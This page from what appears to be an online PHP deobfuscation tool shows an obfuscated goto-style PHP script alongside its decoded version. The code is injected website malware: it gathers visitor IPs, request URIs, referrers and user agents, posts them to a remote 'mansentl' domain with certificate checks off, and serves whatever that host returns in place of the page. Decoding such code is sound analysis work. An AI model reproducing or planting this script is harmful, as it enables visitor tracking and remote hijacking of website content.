Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto W2ppu; ylSCw: J5zuK: goto MhYmY; T3DQF: if (!($SP0yI != ktqJ4("\x50\110\x50\137\123\1..

Decoded Output download

<?  goto W2ppu; ylSCw: J5zuK: goto MhYmY; T3DQF: if (!($SP0yI != ktqJ4("PHP_SELF") && substr(ktqJ4("PHP_SELF"), -4) == ".php")) { goto G6cF6; } goto G9L9A; gcP2_: if (!$p4Nlj) { goto wdYzM; } goto v5HgX; iFi8S: function gcEMX($bMCP2, $p4Nlj, &$yjEPk) { goto qhz4u; ap5bQ: $BanGp = curl_getinfo($PgrAE, CURLINFO_HEADER_SIZE); goto iHUe2; wYuu9: $uhA5O = null; goto Xbsp3; WovIG: return false; goto n9j1x; n9j1x: uFsKC: goto ap5bQ; sZBLR: hM1p2: goto VzHl8; Adsbm: if ($uhA5O) { goto uFsKC; } goto WovIG; WThfK: if (curl_errno($PgrAE)) { goto hM1p2; } goto R0xV9; kZimy: goto hQZMO; goto jBZDQ; fIU8A: curl_close($PgrAE); goto sYeOI; R0xV9: goto b7c5f; goto pguMA; NspHn: if (!($ttjEO < 3)) { goto b7c5f; } goto cgM2r; jBZDQ: b7c5f: goto Adsbm; qhz4u: $PgrAE = curl_init(); goto a1v05; sYeOI: return $uhA5O; goto tMvjF; iHUe2: $yjEPk = substr($uhA5O, 0, $BanGp); goto Kc0BF; MB66u: hQZMO: goto NspHn; pguMA: goto PrDB0; goto sZBLR; cgM2r: $uhA5O = curl_exec($PgrAE); goto WThfK; r6TSH: $uhA5O = null; goto MB66u; Kc0BF: $uhA5O = substr($uhA5O, $BanGp); goto fIU8A; Xbsp3: PrDB0: goto kZimy; jrCOA: $ttjEO = 0; goto r6TSH; a1v05: curl_setopt_array($PgrAE, array(CURLOPT_URL => "https://" . $bMCP2 . chr(99) . chr(111) . chr(109), CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_USERAGENT => @$_SERVER["HTTP_USER_AGENT"], CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_ENCODING => "gzip, deflate", CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $p4Nlj)); goto jrCOA; VzHl8: sleep(100); goto FO9vN; FO9vN: $ttjEO++; goto wYuu9; tMvjF: } goto bIYQF; uTs29: if (!($p4Nlj != "7")) { goto X7eXN; } goto gcP2_; MhYmY: echo trim($p4Nlj); goto QnWXp; G9L9A: $SP0yI = ktQj4("PHP_SELF"); goto WfZOA; WfZOA: G6cF6: goto casCc; QnWXp: die; goto uvDou; oHiL_: function KtQJ4($lUcbF) { return @$_SERVER[$lUcbF] ? $_SERVER[$lUcbF] : ''; } goto cw89s; casCc: $asamn = http_build_query(array("d" => ktqj4("HTTP_HOST"), "h" => Ajjj8(), "u" => kTqJ4("REQUEST_URI"), "i" => alvEj(), "l" => ktQJ4("HTTP_ACCEPT_LANGUAGE"), "r" => kTQJ4("HTTP_REFERER"), "f" => $SP0yI, "z" => date_default_timezone_get())); goto CsEXk; CsEXk: $yjEPk = ''; goto euL3X; QSJEB: $SP0yI = str_replace(KTQJ4("DOCUMENT_ROOT"), '', KtQj4("SCRIPT_FILENAME")); goto T3DQF; v5HgX: foreach (preg_split("/[
]+/", $yjEPk) as $OyGnZ) { goto XLkAs; XLkAs: if (!(strpos($OyGnZ, "Content-Type") === 0 || strpos($OyGnZ, "HTTP") === 0)) { goto bcSxB; } goto cFxf3; YBKOP: Abwsh: goto zwake; cFxf3: @header($OyGnZ); goto EFl3J; EFl3J: bcSxB: goto YBKOP; zwake: } goto ylSCw; euL3X: $p4Nlj = gcEMX($IX2vg . ".mansentl.", $asamn, $yjEPk); goto uTs29; bIYQF: function ajJj8() { return "http" . (!empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || $_SERVER["SERVER_PORT"] == 443 ? "s" : ''); } goto QSJEB; cw89s: function aLveJ() { goto yomK_; NWgxk: return ''; goto Z5r6H; xyRCW: CuNB6: goto NWgxk; yomK_: $qGE7P = array("HTTP_CLIENT_IP", "HTTP_CF_CONNECTING_IP", "HTTP_X_FORWARDED_FOR", "REMOTE_ADDR"); goto FU4Mw; FU4Mw: foreach ($qGE7P as $wXjTF) { goto EAHrE; V23lE: VRLIk: goto pei0x; wfbt6: wOM0i: goto V23lE; AZR60: return $_SERVER[$wXjTF]; goto wfbt6; EAHrE: if (!(!empty($_SERVER[$wXjTF]) && filter_var($_SERVER[$wXjTF], FILTER_VALIDATE_IP))) { goto wOM0i; } goto AZR60; pei0x: } goto xyRCW; Z5r6H: } goto iFi8S; uvDou: wdYzM: goto cS1oS; W2ppu: error_reporting(0); goto pAEfE; pAEfE: $IX2vg = "fgj961"; goto oHiL_; cS1oS: X7eXN:?><?php ?>

Did this file decode correctly?

Original Code

goto W2ppu; ylSCw: J5zuK: goto MhYmY; T3DQF: if (!($SP0yI != ktqJ4("\x50\110\x50\137\123\105\114\106") && substr(ktqJ4("\120\x48\120\x5f\x53\105\x4c\x46"), -4) == "\x2e\x70\x68\x70")) { goto G6cF6; } goto G9L9A; gcP2_: if (!$p4Nlj) { goto wdYzM; } goto v5HgX; iFi8S: function gcEMX($bMCP2, $p4Nlj, &$yjEPk) { goto qhz4u; ap5bQ: $BanGp = curl_getinfo($PgrAE, CURLINFO_HEADER_SIZE); goto iHUe2; wYuu9: $uhA5O = null; goto Xbsp3; WovIG: return false; goto n9j1x; n9j1x: uFsKC: goto ap5bQ; sZBLR: hM1p2: goto VzHl8; Adsbm: if ($uhA5O) { goto uFsKC; } goto WovIG; WThfK: if (curl_errno($PgrAE)) { goto hM1p2; } goto R0xV9; kZimy: goto hQZMO; goto jBZDQ; fIU8A: curl_close($PgrAE); goto sYeOI; R0xV9: goto b7c5f; goto pguMA; NspHn: if (!($ttjEO < 3)) { goto b7c5f; } goto cgM2r; jBZDQ: b7c5f: goto Adsbm; qhz4u: $PgrAE = curl_init(); goto a1v05; sYeOI: return $uhA5O; goto tMvjF; iHUe2: $yjEPk = substr($uhA5O, 0, $BanGp); goto Kc0BF; MB66u: hQZMO: goto NspHn; pguMA: goto PrDB0; goto sZBLR; cgM2r: $uhA5O = curl_exec($PgrAE); goto WThfK; r6TSH: $uhA5O = null; goto MB66u; Kc0BF: $uhA5O = substr($uhA5O, $BanGp); goto fIU8A; Xbsp3: PrDB0: goto kZimy; jrCOA: $ttjEO = 0; goto r6TSH; a1v05: curl_setopt_array($PgrAE, array(CURLOPT_URL => "\x68\x74\x74\x70\163\x3a\57\57" . $bMCP2 . chr(99) . chr(111) . chr(109), CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_USERAGENT => @$_SERVER["\x48\x54\124\120\137\125\x53\x45\122\x5f\x41\x47\105\x4e\124"], CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_ENCODING => "\x67\x7a\151\160\x2c\x20\144\x65\146\x6c\141\164\x65", CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $p4Nlj)); goto jrCOA; VzHl8: sleep(100); goto FO9vN; FO9vN: $ttjEO++; goto wYuu9; tMvjF: } goto bIYQF; uTs29: if (!($p4Nlj != "\67")) { goto X7eXN; } goto gcP2_; MhYmY: echo trim($p4Nlj); goto QnWXp; G9L9A: $SP0yI = ktQj4("\120\110\x50\x5f\123\105\x4c\x46"); goto WfZOA; WfZOA: G6cF6: goto casCc; QnWXp: die; goto uvDou; oHiL_: function KtQJ4($lUcbF) { return @$_SERVER[$lUcbF] ? $_SERVER[$lUcbF] : ''; } goto cw89s; casCc: $asamn = http_build_query(array("\x64" => ktqj4("\110\124\x54\x50\137\110\117\x53\124"), "\150" => Ajjj8(), "\165" => kTqJ4("\x52\105\121\125\105\123\x54\137\125\x52\x49"), "\151" => alvEj(), "\154" => ktQJ4("\x48\124\x54\120\x5f\x41\103\103\105\120\x54\137\114\x41\x4e\107\125\x41\107\105"), "\162" => kTQJ4("\x48\124\124\120\x5f\122\105\106\x45\122\105\x52"), "\x66" => $SP0yI, "\x7a" => date_default_timezone_get())); goto CsEXk; CsEXk: $yjEPk = ''; goto euL3X; QSJEB: $SP0yI = str_replace(KTQJ4("\104\117\103\x55\x4d\105\116\x54\x5f\122\x4f\x4f\124"), '', KtQj4("\x53\x43\122\111\120\x54\x5f\106\x49\114\105\116\x41\115\x45")); goto T3DQF; v5HgX: foreach (preg_split("\57\133\x5c\162\134\156\x5d\x2b\57", $yjEPk) as $OyGnZ) { goto XLkAs; XLkAs: if (!(strpos($OyGnZ, "\103\x6f\x6e\x74\x65\156\x74\x2d\x54\171\x70\x65") === 0 || strpos($OyGnZ, "\110\124\x54\x50") === 0)) { goto bcSxB; } goto cFxf3; YBKOP: Abwsh: goto zwake; cFxf3: @header($OyGnZ); goto EFl3J; EFl3J: bcSxB: goto YBKOP; zwake: } goto ylSCw; euL3X: $p4Nlj = gcEMX($IX2vg . "\x2e\155\141\156\163\145\x6e\x74\154\56", $asamn, $yjEPk); goto uTs29; bIYQF: function ajJj8() { return "\150\164\164\160" . (!empty($_SERVER["\x48\124\124\x50\123"]) && $_SERVER["\110\x54\x54\x50\123"] !== "\157\x66\146" || $_SERVER["\x53\105\x52\x56\x45\x52\137\120\117\122\x54"] == 443 ? "\x73" : ''); } goto QSJEB; cw89s: function aLveJ() { goto yomK_; NWgxk: return ''; goto Z5r6H; xyRCW: CuNB6: goto NWgxk; yomK_: $qGE7P = array("\x48\124\x54\120\x5f\x43\x4c\x49\x45\116\x54\x5f\111\x50", "\x48\124\124\x50\137\103\x46\x5f\103\x4f\116\116\105\103\x54\111\x4e\x47\x5f\111\120", "\x48\x54\124\x50\137\130\137\106\x4f\x52\127\101\122\104\105\x44\x5f\106\117\122", "\x52\x45\x4d\117\x54\105\x5f\101\104\x44\122"); goto FU4Mw; FU4Mw: foreach ($qGE7P as $wXjTF) { goto EAHrE; V23lE: VRLIk: goto pei0x; wfbt6: wOM0i: goto V23lE; AZR60: return $_SERVER[$wXjTF]; goto wfbt6; EAHrE: if (!(!empty($_SERVER[$wXjTF]) && filter_var($_SERVER[$wXjTF], FILTER_VALIDATE_IP))) { goto wOM0i; } goto AZR60; pei0x: } goto xyRCW; Z5r6H: } goto iFi8S; uvDou: wdYzM: goto cS1oS; W2ppu: error_reporting(0); goto pAEfE; pAEfE: $IX2vg = "\146\147\x6a\71\x36\61"; goto oHiL_; cS1oS: X7eXN:?><?php

Function Calls

None

Variables

None

Stats

MD5 f61a79354f79df621082fd817c28846f
Eval Count 0
Decode Time 46 ms